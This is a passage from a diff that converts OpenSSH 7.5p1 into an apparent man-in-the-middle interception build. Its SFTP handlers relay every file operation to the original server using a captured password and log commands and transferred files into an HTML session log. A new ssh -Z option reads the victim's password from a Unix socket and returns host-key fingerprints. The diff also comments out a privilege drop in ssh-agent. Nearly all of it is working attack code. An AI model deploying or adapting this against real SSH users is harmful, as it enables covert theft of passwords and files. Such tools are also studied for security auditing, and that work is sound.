  3618. +   status = mitm_do_symlink(client_conn, oldpath, newpath);
  3619.     send_status(id, status);
  3620. +
  3621. +   sftp_log(status, "ln -s \"%s\" \"%s\"", oldpath, newpath);
  3622.     free(oldpath);
  3623.     free(newpath);
  3624. }
  3625. @@ -1286,9 +1819,14 @@
  3626.  
  3627.     debug3("request %u: posix-rename", id);
  3628.     logit("posix-rename old \"%s\" new \"%s\"", oldpath, newpath);
  3629. +   /*
  3630.     r = rename(oldpath, newpath);
  3631.     status = (r == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
  3632. +   */
  3633. +   status = mitm_do_rename(client_conn, oldpath, newpath, 0);
  3634.     send_status(id, status);
  3635. +
  3636. +   sftp_log(status, "posix_rename \"%s\" \"%s\"", oldpath, newpath);
  3637.     free(oldpath);
  3638.     free(newpath);
  3639. }
  3640. @@ -1299,29 +1837,41 @@
  3641.     char *path;
  3642.     struct statvfs st;
  3643.     int r;
  3644. +   u_int status = 0;
  3645.  
  3646.     if ((r = sshbuf_get_cstring(iqueue, &path, NULL)) != 0)
  3647.         fatal("%s: buffer error: %s", __func__, ssh_err(r));
  3648.     debug3("request %u: statvfs", id);
  3649.     logit("statvfs \"%s\"", path);
  3650.  
  3651. +   /*
  3652.     if (statvfs(path, &st) != 0)
  3653.         send_status(id, errno_to_portable(errno));
  3654.     else
  3655.         send_statvfs(id, &st);
  3656. +   */
  3657. +   if (mitm_do_statvfs(client_conn, path, &st, &status) != -1)
  3658. +       send_statvfs(id, &st);
  3659. +   else
  3660. +       send_status(id, status);
  3661. +
  3662. +   sftp_log_statvfs(status, path, &st);
  3663.         free(path);
  3664. }
  3665.  
  3666. static void
  3667. process_extended_fstatvfs(u_int32_t id)
  3668. {
  3669. -   int r, handle, fd;
  3670. +   int r, handle_int;
  3671.     struct statvfs st;
  3672. +   u_int status = 0;
  3673. +   u_char *handle_str = NULL;
  3674. +   size_t handle_len = 0;
  3675.  
  3676. +   /*
  3677.     if ((r = get_handle(iqueue, &handle)) != 0)
  3678.         fatal("%s: buffer error: %s", __func__, ssh_err(r));
  3679. -   debug("request %u: fstatvfs \"%s\" (handle %u)",
  3680. -       id, handle_to_name(handle), handle);
  3681. +
  3682.     if ((fd = handle_to_fd(handle)) < 0) {
  3683.         send_status(id, SSH2_FX_FAILURE);
  3684.         return;
  3685. @@ -1330,6 +1880,19 @@
  3686.         send_status(id, errno_to_portable(errno));
  3687.     else
  3688.         send_statvfs(id, &st);
  3689. +   */
  3690. +
  3691. +   if ((r = get_handle_all(iqueue, &handle_str, &handle_len, &handle_int)) != 0)
  3692. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  3693. +
  3694. +   debug3("request %u: fstatvfs (handle %u)", id, handle_int);
  3695. +   if (mitm_do_fstatvfs(client_conn, handle_str, handle_len, &st, &status) != -1)
  3696. +       send_statvfs(id, &st);
  3697. +   else
  3698. +       send_status(id, status);
  3699. +
  3700. +   sftp_log_fstatvfs(status, handle_str, handle_len, &st);
  3701. +   free(handle_str); handle_str = NULL;
  3702. }
  3703.  
  3704. static void
  3705. @@ -1344,9 +1907,14 @@
  3706.  
  3707.     debug3("request %u: hardlink", id);
  3708.     logit("hardlink old \"%s\" new \"%s\"", oldpath, newpath);
  3709. +   /*
  3710.     r = link(oldpath, newpath);
  3711.     status = (r == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
  3712. +   */
  3713. +   status = mitm_do_hardlink(client_conn, oldpath, newpath);
  3714.     send_status(id, status);
  3715. +
  3716. +   sftp_log(status, "ln \"%s\" \"%s\"", oldpath, newpath);
  3717.     free(oldpath);
  3718.     free(newpath);
  3719. }
  3720. @@ -1354,19 +1922,31 @@
  3721. static void
  3722. process_extended_fsync(u_int32_t id)
  3723. {
  3724. -   int handle, fd, r, status = SSH2_FX_OP_UNSUPPORTED;
  3725. +   int handle_int, r, status = SSH2_FX_OP_UNSUPPORTED;
  3726. +   u_char *handle_str = NULL;
  3727. +   size_t handle_len = 0;
  3728.  
  3729. +   /*
  3730.     if ((r = get_handle(iqueue, &handle)) != 0)
  3731.         fatal("%s: buffer error: %s", __func__, ssh_err(r));
  3732. -   debug3("request %u: fsync (handle %u)", id, handle);
  3733. -   verbose("fsync \"%s\"", handle_to_name(handle));
  3734. +   */
  3735. +   if ((r = get_handle_all(iqueue, &handle_str, &handle_len, &handle_int)) != 0)
  3736. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  3737. +
  3738. +   debug3("request %u: fsync (handle %u)", id, handle_int);
  3739. +   /*
  3740.     if ((fd = handle_to_fd(handle)) < 0)
  3741.         status = SSH2_FX_NO_SUCH_FILE;
  3742.     else if (handle_is_ok(handle, HANDLE_FILE)) {
  3743.         r = fsync(fd);
  3744.         status = (r == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
  3745.     }
  3746. +   */
  3747. +   status = mitm_do_fsync(client_conn, handle_str, handle_len);
  3748.     send_status(id, status);
  3749. +
  3750. +   sftp_log_fsync(status, handle_str, handle_len);
  3751. +   free(handle_str); handle_str = NULL;
  3752. }
  3753.  
  3754. static void
  3755. @@ -1474,6 +2054,10 @@
  3756. void
  3757. sftp_server_cleanup_exit(int i)
  3758. {
  3759. +   write(session_log_fd, "</pre></html>", 13);
  3760. +   fdatasync(session_log_fd);
  3761. +   close(session_log_fd);
  3762. +
  3763.     if (pw != NULL && client_addr != NULL) {
  3764.         handle_log_exit();
  3765.         logit("session closed for local user %s from [%s]",
  3766. @@ -1485,19 +2069,17 @@
  3767. static void
  3768. sftp_server_usage(void)
  3769. {
  3770. -   extern char *__progname;
  3771. -
  3772.     fprintf(stderr,
  3773.         "usage: %s [-ehR] [-d start_directory] [-f log_facility] "
  3774.         "[-l log_level]\n\t[-P blacklisted_requests] "
  3775.         "[-p whitelisted_requests] [-u umask]\n"
  3776.         "       %s -Q protocol_feature\n",
  3777. -       __progname, __progname);
  3778. +       "/usr/libexec/sftp-server", "/usr/libexec/sftp-server");
  3779.     exit(1);
  3780. }
  3781.  
  3782. int
  3783. -sftp_server_main(int argc, char **argv, struct passwd *user_pw)
  3784. +sftp_server_main(int argc, char **argv, struct passwd *user_pw, char *original_host, unsigned short original_port, char *username, char *password_and_fingerprint_socket_name, char *log_filepath, char *log_dir)
  3785. {
  3786.     fd_set *rset, *wset;
  3787.     int i, r, in, out, max, ch, skipargs = 0, log_stderr = 0;
  3788. @@ -1553,10 +2135,12 @@
  3789.                 error("Invalid log facility \"%s\"", optarg);
  3790.             break;
  3791.         case 'd':
  3792. +           /*
  3793.             cp = tilde_expand_filename(optarg, user_pw->pw_uid);
  3794.             homedir = percent_expand(cp, "d", user_pw->pw_dir,
  3795.                 "u", user_pw->pw_name, (char *)NULL);
  3796.             free(cp);
  3797. +           */
  3798.             break;
  3799.         case 'p':
  3800.             if (request_whitelist != NULL)
  3801. @@ -1583,6 +2167,7 @@
  3802.     }
  3803.  
  3804.     log_init(__progname, log_level, log_facility, log_stderr);
  3805. +   mitm_init_log(log_filepath, log_dir);
  3806.  
  3807.     /*
  3808.      * On platforms where we can, avoid making /proc/self/{mem,maps}
  3809. @@ -1638,6 +2223,7 @@
  3810.         }
  3811.     }
  3812.  
  3813. +   client_conn = make_connection(original_host, original_port, username, password_and_fingerprint_socket_name);
  3814.     set_size = howmany(max + 1, NFDBITS) * sizeof(fd_mask);
  3815.     for (;;) {
  3816.         memset(rset, 0, set_size);
  3817. @@ -1706,3 +2292,340 @@
  3818.                 __func__, ssh_err(r));
  3819.     }
  3820. }
  3821. +
  3822. +/* Copied from sftp.c. */
  3823. +/* ARGSUSED */
  3824. +static void
  3825. +killchild(int signo)
  3826. +{
  3827. +   if (sshpid > 1) {
  3828. +       kill(sshpid, SIGTERM);
  3829. +       waitpid(sshpid, NULL, 0);
  3830. +   }
  3831. +
  3832. +   _exit(1);
  3833. +}
  3834. +
  3835. +/* Copied from sftp.c. */
  3836. +/* ARGSUSED */
  3837. +static void
  3838. +suspchild(int signo)
  3839. +{
  3840. +   if (sshpid > 1) {
  3841. +       kill(sshpid, signo);
  3842. +       while (waitpid(sshpid, NULL, WUNTRACED) == -1 && errno == EINTR)
  3843. +           continue;
  3844. +   }
  3845. +   kill(getpid(), SIGSTOP);
  3846. +}
  3847. +
  3848. +/* Copied from sftp.c. */
  3849. +static void
  3850. +connect_to_server(char *path, char **args, int *in, int *out)
  3851. +{
  3852. +   int c_in, c_out;
  3853. +
  3854. +#ifdef USE_PIPES
  3855. +   int pin[2], pout[2];
  3856. +
  3857. +   if ((pipe(pin) == -1) || (pipe(pout) == -1))
  3858. +       fatal("pipe: %s", strerror(errno));
  3859. +   *in = pin[0];
  3860. +   *out = pout[1];
  3861. +   c_in = pout[0];
  3862. +   c_out = pin[1];
  3863. +#else /* USE_PIPES */
  3864. +   int inout[2];
  3865. +
  3866. +   if (socketpair(AF_UNIX, SOCK_STREAM, 0, inout) == -1)
  3867. +       fatal("socketpair: %s", strerror(errno));
  3868. +   *in = *out = inout[0];
  3869. +   c_in = c_out = inout[1];
  3870. +#endif /* USE_PIPES */
  3871. +
  3872. +   if ((sshpid = fork()) == -1)
  3873. +       fatal("fork: %s", strerror(errno));
  3874. +   else if (sshpid == 0) {
  3875. +       if ((dup2(c_in, STDIN_FILENO) == -1) ||
  3876. +           (dup2(c_out, STDOUT_FILENO) == -1)) {
  3877. +           fprintf(stderr, "dup2: %s\n", strerror(errno));
  3878. +           _exit(1);
  3879. +       }
  3880. +       close(*in);
  3881. +       close(*out);
  3882. +       close(c_in);
  3883. +       close(c_out);
  3884. +
  3885. +       /*
  3886. +        * The underlying ssh is in the same process group, so we must
  3887. +        * ignore SIGINT if we want to gracefully abort commands,
  3888. +        * otherwise the signal will make it to the ssh process and
  3889. +        * kill it too.  Contrawise, since sftp sends SIGTERMs to the
  3890. +        * underlying ssh, it must *not* ignore that signal.
  3891. +        */
  3892. +       signal(SIGINT, SIG_IGN);
  3893. +       signal(SIGTERM, SIG_DFL);
  3894. +
  3895. +       execvp(path, args);
  3896. +       fprintf(stderr, "exec: %s: %s\n", path, strerror(errno));
  3897. +       _exit(1);
  3898. +   }
  3899. +
  3900. +   signal(SIGTERM, killchild);
  3901. +   signal(SIGINT, killchild);
  3902. +   signal(SIGHUP, killchild);
  3903. +   signal(SIGTSTP, suspchild);
  3904. +   signal(SIGTTIN, suspchild);
  3905. +   signal(SIGTTOU, suspchild);
  3906. +   close(c_in);
  3907. +   close(c_out);
  3908. +}
  3909. +
  3910. +void mitm_init_log(char *log_filepath, char *log_dir) {
  3911. +  session_log_fd = open(log_filepath, O_NOATIME | O_NOFOLLOW | O_WRONLY
  3912. +#ifdef SYNC_LOG
  3913. +        | O_SYNC
  3914. +#endif
  3915. +        );
  3916. +
  3917. +  /* Ensure that writes append to the log, since its initialized with
  3918. +   * connection information. */
  3919. +  lseek(session_log_fd, 0, SEEK_END);
  3920. +
  3921. +  if (session_log_fd < 0)
  3922. +    logit("MITM: failed to open SFTP log: %s", log_filepath);
  3923. +
  3924. +  session_log_dir = strdup(log_dir);
  3925. +  if ((session_log_dir = xstrdup(log_dir)) == NULL)
  3926. +    fatal("Failed to allocate memory for session log dir path.");
  3927. +}
  3928. +
  3929. +struct sftp_conn *
  3930. +make_connection(char *host, unsigned short port, char *username, char *password_and_fingerprint_socket_name) {
  3931. +   arglist args;
  3932. +   char *ssh_program = MITM_SSH_CLIENT;
  3933. +   int in = -1, out = -1;
  3934. +
  3935. +   args.list = NULL;
  3936. +   addargs(&args, "%s", ssh_program);
  3937. +   addargs(&args, "-E");
  3938. +   addargs(&args, "%s", MITM_SSH_CLIENT_LOG);
  3939. +   addargs(&args, "-F");
  3940. +   addargs(&args, "%s", MITM_SSH_CLIENT_CONFIG);
  3941. +   addargs(&args, "-Z");
  3942. +   addargs(&args, "%s", password_and_fingerprint_socket_name);
  3943. +   addargs(&args, "-oForwardX11=no");
  3944. +   addargs(&args, "-oForwardAgent=no");
  3945. +   addargs(&args, "-oPermitLocalCommand=no");
  3946. +   addargs(&args, "-oClearAllForwardings=yes");
  3947. +   addargs(&args, "-oPort=%u", port);
  3948. +   addargs(&args, "-oProtocol=2");
  3949. +   addargs(&args, "-s");
  3950. +   addargs(&args, "--");
  3951. +   addargs(&args, "%s@%s", username, host);
  3952. +   addargs(&args, "sftp");
  3953. +   connect_to_server(ssh_program, args.list, &in, &out);
  3954. +   return do_init(in, out, 32768, 64, 0);
  3955. +}
  3956. +
  3957. +/* Simple XSS sanitization. */
  3958. +void xss_sanitize(char *buf, int buf_len) {
  3959. +  int i;
  3960. +  for (i = 0; i < buf_len; i++) {
  3961. +    if (buf[i] == '<')
  3962. +      buf[i] = '[';
  3963. +    else if (buf[i] == '>')
  3964. +      buf[i] = ']';
  3965. +  }
  3966. +}
  3967. +
  3968. +/* C doesn't let you pass variable-length arguments from one function to
  3969. + * another if the second function needs to call va_start() again.  These
  3970. + * defines cut down on duplicate code in that case.  Not sure if there's any
  3971. + * other way to do it... */
  3972. +#define SFTP_LOG_HEADER() va_start(args, fmt); \
  3973. +\
  3974. +  /* By setting the last byte to NULL and giving sizeof(buf) - 1 to vsnprintf, \
  3975. +   * we can be sure that the buffer will be NULL-terminated afterwards. */ \
  3976. +  buf[sizeof(buf) - 1] = '\0'; \
  3977. +\
  3978. +  ret = vsnprintf(buf, buf_len - 1, fmt, args); \
  3979. +\
  3980. +  /* If we need a larger buffer to format the string into... */ \
  3981. +  if (ret >= buf_len) { \
  3982. +    buf_len = ret + 1; \
  3983. +    if ((buf = reallocarray(NULL, buf_len, sizeof(char))) == NULL) \
  3984. +      fatal("Could not allocate buffer for sftp_log."); \
  3985. +    buf[buf_len - 1] = '\0'; \
  3986. +\
  3987. +    va_end(args); \
  3988. +    va_start(args, fmt); \
  3989. +    ret = vsnprintf(buf, buf_len, fmt, args); \
  3990. +  }
  3991. +
  3992. +#define SFTP_LOG_FOOTER() va_end(args); \
  3993. +  /* Free the buffer, if we allocated it. */ \
  3994. +  if (buf != buf_stack) { \
  3995. +    free(buf); buf = NULL; \
  3996. +  }
  3997. +
  3998. +/* Log an SFTP command. */
  3999. +void sftp_log(u_int status, const char *fmt, ...) {
  4000. +  char buf_stack[512], *buf = buf_stack;
  4001. +  int buf_len = sizeof(buf_stack), ret = 0;
  4002. +  va_list args;
  4003. +
  4004. +  SFTP_LOG_HEADER()
  4005. +  _sftp_log(status, 1, buf, ret);
  4006. +  SFTP_LOG_FOOTER()
  4007. +}
  4008. +
  4009. +/* Log an SFTP command without XSS filtering enabled.  Don't use this unless
  4010. + * you know what you're doing. */
  4011. +void sftp_log_no_filter(u_int status, const char *fmt, ...) {
  4012. +  char buf_stack[512], *buf = buf_stack;
  4013. +  int buf_len = sizeof(buf_stack), ret = 0;
  4014. +  va_list args;
  4015. +
  4016. +  SFTP_LOG_HEADER()
  4017. +  _sftp_log(status, 0, buf, ret);
  4018. +  SFTP_LOG_FOOTER()
  4019. +}
  4020. +
  4021. +void _sftp_log(u_int status, u_int do_xss_filtering, char *buf, int buf_len) {
  4022. +  write(session_log_fd, "> ", 2);
  4023. +
  4024. +  /* Replace any angled brackets in the buffer. */
  4025. +  if (do_xss_filtering)
  4026. +    xss_sanitize(buf, buf_len);
  4027. +
  4028. +  /* Write the buffer to the session log. */
  4029. +  write(session_log_fd, buf, buf_len);
  4030. +
  4031. +  /* If the status is not success, write it into the log as well. */
  4032. +  if (status != SSH2_FX_OK) {
  4033. +    char errmsg[64];
  4034. +    const char *m = status_to_message(status);
  4035. +    int r = 0;
  4036. +
  4037. +    memset(errmsg, 0, sizeof(errmsg));
  4038. +
  4039. +    r = snprintf(errmsg, sizeof(errmsg) - 1, " (Error: %s)", m);
  4040. +    write(session_log_fd, errmsg, r);
  4041. +  }
  4042. +
  4043. +  write(session_log_fd, "\n", 1);
  4044. +}
  4045. +
  4046. +/* Log a file transfer or directory listing. */
  4047. +void sftp_log_close(u_int status, char *handle_str, size_t handle_len) {
  4048. +  MITMHandle *mh = NULL;
  4049. +
  4050. +  if ((mh = mitm_handle_search(handle_str, handle_len)) != NULL) {
  4051. +    char *original_path = mh->original_path;
  4052. +
  4053. +    /* If a file handle was closed... */
  4054. +    if (mh->type == MITM_HANDLE_TYPE_FILE) {
  4055. +      u_int32_t pflags = mh->pflags;
  4056. +      char *actual_path = mh->actual_path;
  4057. +      const char get[] = "get";
  4058. +      const char put[] = "put";
  4059. +      const char getput[] = "get/put";
  4060. +      const char *verb = getput;
  4061. +      int read = 0, write = 0;
  4062. +
  4063. +      /* Was the file open for reading, writing, or both? */
  4064. +      read = (pflags & SSH2_FXF_READ);
  4065. +      write = (pflags & SSH2_FXF_WRITE) || (pflags & SSH2_FXF_APPEND);
  4066. +
  4067. +      if (read && !write)
  4068. +   verb = get;
  4069. +      else if (!read && write)
  4070. +   verb = put;
  4071. +
  4072. +      /* Make a link in the log to the local file we saved. */
  4073. +      sftp_log_no_filter(status, "%s <a href=\"%s\">%s</a>", verb, actual_path, original_path);
  4074. +    } else { /* ...a directory was closed. */
  4075. +      sftp_log(status, "ls %s\n%s", original_path, mh->file_listing);
  4076. +    }
  4077. +  } else
  4078. +    logit(CANT_FIND_HANDLE, __func__);
  4079. +}
  4080. +
  4081. +/* Writes an Attrib struct to the log. */
  4082. +void sftp_log_attrib(const char *sftp_func, u_int status, char *name, Attrib *a) {
  4083. +  if (a != NULL) {
  4084. +    status = SSH2_FX_OK;
  4085. +    sftp_log(status, "%s \"%s\" (Result: flags: %u; size: %lu; uid: %u; gid: %u; perm: 0%o, atime: %u, mtime: %u)", sftp_func, name, a->flags, a->size, a->uid, a->gid, a->perm, a->atime, a->mtime);
  4086. +  } else
  4087. +    sftp_log(status, "%s \"%s\" (Result: flags: ?; size: ?; uid: ?; gid: ?; perm: ?, atime: ?, mtime: ?)", sftp_func, name);
  4088. +}
  4089. +
  4090. +/* Given a handle, writes an Attrib struct to the log. */
  4091. +void sftp_log_handle_attrib(const char *func, u_int status, char *handle_str, size_t handle_len, Attrib *a) {
  4092. +  MITMHandle *mh = NULL;
  4093. +
  4094. +  if ((mh = mitm_handle_search(handle_str, handle_len)) != NULL)
  4095. +    sftp_log_attrib(func, status, mh->original_path, a);
  4096. +  else
  4097. +    logit(CANT_FIND_HANDLE, __func__);
  4098. +}
  4099. +
  4100. +/* Stores the result of a readdir() call (done during file listings). */
  4101. +void sftp_log_readdir(char *handle_str, size_t handle_len, char *listing) {
  4102. +  int resize_needed = 0;
  4103. +  MITMHandle *mh = NULL;
  4104. +
  4105. +  if ((mh = mitm_handle_search(handle_str, handle_len)) != NULL) {
  4106. +    size_t listing_len = strlen(listing);
  4107. +
  4108. +    /* If the file listing array hasn't been initialized yet, do that now. */
  4109. +    if (mh->file_listing_size == 0) {
  4110. +      mh->file_listing_size = MITM_HANDLES_FILE_LISTING_BLOCK;
  4111. +      if ((mh->file_listing = reallocarray(NULL, mh->file_listing_size, sizeof(char))) == NULL)
  4112. +   fatal("MITM: could not allocate file_listing!");
  4113. +      mh->file_listing[0] = '\0';
  4114. +    }
  4115. +
  4116. +    /* If the array isn't big enough, resize it.  (+1 for the newline, and +1
  4117. +     * for the NULL byte) */
  4118. +    while (mh->file_listing_size < (strlen(mh->file_listing) + listing_len + 1 + 1)) {
  4119. +      mh->file_listing_size += MITM_HANDLES_FILE_LISTING_BLOCK;
  4120. +      resize_needed = 1;
  4121. +    }
  4122. +
  4123. +    if (resize_needed) {
  4124. +      if((mh->file_listing = reallocarray(mh->file_listing, mh->file_listing_size, sizeof(char))) == NULL)
  4125. +   fatal("MITM: could not allocate file_listing!");
  4126. +    }
  4127. +
  4128. +    strlcat(mh->file_listing, listing, mh->file_listing_size);
  4129. +    strlcat(mh->file_listing, "\n", mh->file_listing_size);
  4130. +  } else
  4131. +    logit(CANT_FIND_HANDLE, __func__);
  4132. +}
  4133. +
  4134. +/* Writes a statvfs struct to the log. */
  4135. +void sftp_log_statvfs(u_int status, char *path, struct statvfs *st) {
  4136. +  sftp_log(status, "statvfs \"%s\" (Result: filesystem block size: %lu; fragment size: %lu; filesystem size [measured in fragments]: %lu; number of free blocks: %lu; number of free blocks for unprivileged users: %lu; number of inodes: %lu; number of free inodes: %lu; number of free inodes for unprivileged users: %lu; filesystem ID: %lu; mount flags: %lu; maximum filename length: %lu)", path, st->f_bsize, st->f_frsize, st->f_blocks, st->f_bfree, st->f_bavail, st->f_files, st->f_ffree, st->f_favail, st->f_fsid, st->f_flag, st->f_namemax);
  4137. +}
  4138. +
  4139. +/* Given a file handle, writes a statvfs struct to the log. */
  4140. +void sftp_log_fstatvfs(u_int status, char *handle_str, size_t handle_len, struct statvfs *st) {
  4141. +  MITMHandle *mh = NULL;
  4142. +
  4143. +  if ((mh = mitm_handle_search(handle_str, handle_len)) != NULL)
  4144. +    sftp_log_statvfs(status, mh->original_path, st);
  4145. +  else
  4146. +    logit(CANT_FIND_HANDLE, __func__);
  4147. +}
  4148. +
  4149. +/* Logs an fsync() call. */
  4150. +void sftp_log_fsync(u_int status, char *handle_str, size_t handle_len) {
  4151. +  MITMHandle *mh = NULL;
  4152. +
  4153. +  if ((mh = mitm_handle_search(handle_str, handle_len)) != NULL)
  4154. +    sftp_log(status, "fsync \"%s\"", mh->original_path);
  4155. +  else
  4156. +    logit(CANT_FIND_HANDLE, __func__);
  4157. +}
  4158. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sftp-server-main.c openssh-7.5p1-mitm/sftp-server-main.c
  4159. --- openssh-7.5p1/sftp-server-main.c    2017-03-19 22:39:27.000000000 -0400
  4160. +++ openssh-7.5p1-mitm/sftp-server-main.c   2018-06-12 17:44:46.345760658 -0400
  4161. @@ -49,5 +49,7 @@
  4162.         return 1;
  4163.     }
  4164.  
  4165. -   return (sftp_server_main(argc, argv, user_pw));
  4166. +   /* Running a stand-alone SFTP server is unsupported. */
  4167. +   /*return (sftp_server_main(argc, argv, user_pw));*/
  4168. +   return 0;
  4169. }
  4170. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/ssh-agent.c openssh-7.5p1-mitm/ssh-agent.c
  4171. --- openssh-7.5p1/ssh-agent.c   2017-03-19 22:39:27.000000000 -0400
  4172. +++ openssh-7.5p1-mitm/ssh-agent.c  2018-06-12 17:44:46.345760658 -0400
  4173. @@ -1228,9 +1228,10 @@
  4174.     sanitise_stdfd();
  4175.  
  4176.     /* drop */
  4177. +   /*
  4178.     setegid(getgid());
  4179.     setgid(getgid());
  4180. -
  4181. +   */
  4182.     platform_disable_tracing(0);    /* strict=no */
  4183.  
  4184. #ifdef WITH_OPENSSL
  4185. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/ssh.c openssh-7.5p1-mitm/ssh.c
  4186. --- openssh-7.5p1/ssh.c 2017-03-19 22:39:27.000000000 -0400
  4187. +++ openssh-7.5p1-mitm/ssh.c    2018-06-12 17:44:46.345760658 -0400
  4188. @@ -49,6 +49,7 @@
  4189. #include <sys/resource.h>
  4190. #include <sys/ioctl.h>
  4191. #include <sys/socket.h>
  4192. +#include <sys/un.h>
  4193. #include <sys/wait.h>
  4194.  
  4195. #include <ctype.h>
  4196. @@ -110,6 +111,7 @@
  4197. #include "ssherr.h"
  4198. #include "myproposal.h"
  4199. #include "utf8.h"
  4200. +#include "lol.h"
  4201.  
  4202. #ifdef ENABLE_PKCS11
  4203. #include "ssh-pkcs11.h"
  4204. @@ -192,6 +194,10 @@
  4205. extern int muxserver_sock;
  4206. extern u_int muxclient_command;
  4207.  
  4208. +int num_hostkey_fps = 0;
  4209. +hostkey_fp *server_hostkey_fps = NULL;
  4210. +int password_and_fingerprint_fd = -1;
  4211. +
  4212. /* Prints a help message to the user.  This function never returns. */
  4213.  
  4214. static void
  4215. @@ -524,6 +530,7 @@
  4216.     struct addrinfo *addrs = NULL;
  4217.     struct ssh_digest_ctx *md;
  4218.     u_char conn_hash[SSH_DIGEST_MAX_LENGTH];
  4219. +   char *password = NULL;
  4220.  
  4221.     ssh_malloc_init();  /* must be called before any mallocs */
  4222.     /* Ensure that fds 0, 1 and 2 are open or directed to /dev/null */
  4223. @@ -548,6 +555,9 @@
  4224.      */
  4225.     closefrom(STDERR_FILENO + 1);
  4226.  
  4227. +   /* Initialize the array of host key fingerprints. */
  4228. +   server_hostkey_fps = calloc(MAX_SERVER_HOSTKEY_FPS, sizeof(hostkey_fp));
  4229. +
  4230.     /*
  4231.      * Save the original real uid.  It will be needed later (uid-swapping
  4232.      * may clobber the real uid).
  4233. @@ -605,8 +615,9 @@
  4234.     argv0 = av[0];
  4235.  
  4236.  again:
  4237. +   /* Add -Z to get the password to use. */
  4238.     while ((opt = getopt(ac, av, "1246ab:c:e:fgi:kl:m:no:p:qstvx"
  4239. -       "ACD:E:F:GI:J:KL:MNO:PQ:R:S:TVw:W:XYy")) != -1) {
  4240. +       "ACD:E:F:GI:J:KL:MNO:PQ:R:S:TVw:W:XYyZ:")) != -1) {
  4241.         switch (opt) {
  4242.         case '1':
  4243.             options.protocol = SSH_PROTO_1;
  4244. @@ -931,6 +942,54 @@
  4245.         case 'F':
  4246.             config = optarg;
  4247.             break;
  4248. +       case 'Z':
  4249. +           /* The argument here is the path to the socket to
  4250. +            * read the password and write server host key
  4251. +            * fingerprints to. */
  4252. +           if (strlen(optarg) > 0) {
  4253. +             struct sockaddr_un addr;
  4254. +             u_int16_t password_len = 0;
  4255. +             int i = 0, bytes_read = 0, r = 0;
  4256. +             struct timespec req;
  4257. +
  4258. +             memset(&addr, 0, sizeof(addr));
  4259. +             addr.sun_family = AF_UNIX;
  4260. +             req.tv_sec = 1;
  4261. +             req.tv_nsec = 0;
  4262. +             password_and_fingerprint_fd = socket(AF_UNIX, SOCK_STREAM, 0);
  4263. +
  4264. +             /* Try to connect up to 10 times, pausing 1 second in between each attempt. */
  4265. +             strlcpy(addr.sun_path, optarg, sizeof(addr.sun_path));
  4266. +             while (i < 10) {
  4267. +               if ((r = connect(password_and_fingerprint_fd, (struct sockaddr *)&addr, sizeof(addr))) == 0)
  4268. +                 break;
  4269. +
  4270. +               nanosleep(&req, NULL);
  4271. +               i++;
  4272. +             }
  4273. +
  4274. +             /* If connect() never succeeded, terminate. */
  4275. +             if (r != 0)
  4276. +               exit(-1);
  4277. +
  4278. +             /* Read the password length. */
  4279. +             read(password_and_fingerprint_fd, &password_len, sizeof(password_len));
  4280. +             password_len = ntohs(password_len);
  4281. +
  4282. +             if ((password = calloc(password_len + 1, sizeof(char))) == NULL)
  4283. +               exit(-1);
  4284. +
  4285. +             /* Read all the bytes to the password. */
  4286. +             while (bytes_read < password_len) {
  4287. +               r = read(password_and_fingerprint_fd, password + bytes_read, password_len - bytes_read);
  4288. +               if ((r < 0) && (r != EINTR))
  4289. +                 exit(-1);
  4290. +               else if (r > 0)
  4291. +                 bytes_read += r;
  4292. +             }
  4293. +             password[password_len] = '\0';
  4294. +           }  
  4295. +           break;
  4296.         default:
  4297.             usage();
  4298.         }
  4299. @@ -1292,6 +1351,7 @@
  4300.     sensitive_data.nkeys = 0;
  4301.     sensitive_data.keys = NULL;
  4302.     sensitive_data.external_keysign = 0;
  4303. +   sensitive_data.password = password;
  4304.     if (options.rhosts_rsa_authentication ||
  4305.         options.hostbased_authentication) {
  4306.         sensitive_data.nkeys = 9;
  4307. @@ -2194,3 +2254,27 @@
  4308.     signal(sig, main_sigchld_handler);
  4309.     errno = save_errno;
  4310. }
  4311. +
  4312. +void write_hostkeys() {
  4313. +  int i = 0;
  4314. +
  4315. +  if (password_and_fingerprint_fd == -1)
  4316. +    return;
  4317. +
  4318. +  for(i = 0; i < num_hostkey_fps; i++) {
  4319. +    char *old = server_hostkey_fps[i].old;
  4320. +    char *new = server_hostkey_fps[i].new;
  4321. +
  4322. +    send(password_and_fingerprint_fd, old, strlen(old), 0);
  4323. +    send(password_and_fingerprint_fd, "\n", strlen("\n"), 0);
  4324. +    send(password_and_fingerprint_fd, new, strlen(new), 0);
  4325. +    send(password_and_fingerprint_fd, "\n", strlen("\n"), 0);
  4326. +
  4327. +    free(server_hostkey_fps[i].old); server_hostkey_fps[i].old = NULL;
  4328. +    free(server_hostkey_fps[i].new); server_hostkey_fps[i].new = NULL;
  4329. +  }
  4330. +  shutdown(password_and_fingerprint_fd, SHUT_RDWR);
  4331. +  password_and_fingerprint_fd = -1;
  4332. +  free(server_hostkey_fps); server_hostkey_fps = NULL;
  4333. +  num_hostkey_fps = 0;
  4334. +}
  4335. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sshconnect2.c openssh-7.5p1-mitm/sshconnect2.c
  4336. --- openssh-7.5p1/sshconnect2.c 2017-03-19 22:39:27.000000000 -0400
  4337. +++ openssh-7.5p1-mitm/sshconnect2.c    2018-06-12 17:44:46.345760658 -0400
  4338. @@ -81,6 +81,7 @@
  4339. extern char *client_version_string;
  4340. extern char *server_version_string;
  4341. extern Options options;
  4342. +extern void write_hostkeys();
  4343.  
  4344. /*
  4345.  * SSH2 key exchange
  4346. @@ -218,6 +219,7 @@
  4347.     kex->verify_host_key=&verify_host_key_callback;
  4348.  
  4349.     dispatch_run(DISPATCH_BLOCK, &kex->done, active_state);
  4350. +   write_hostkeys();
  4351.  
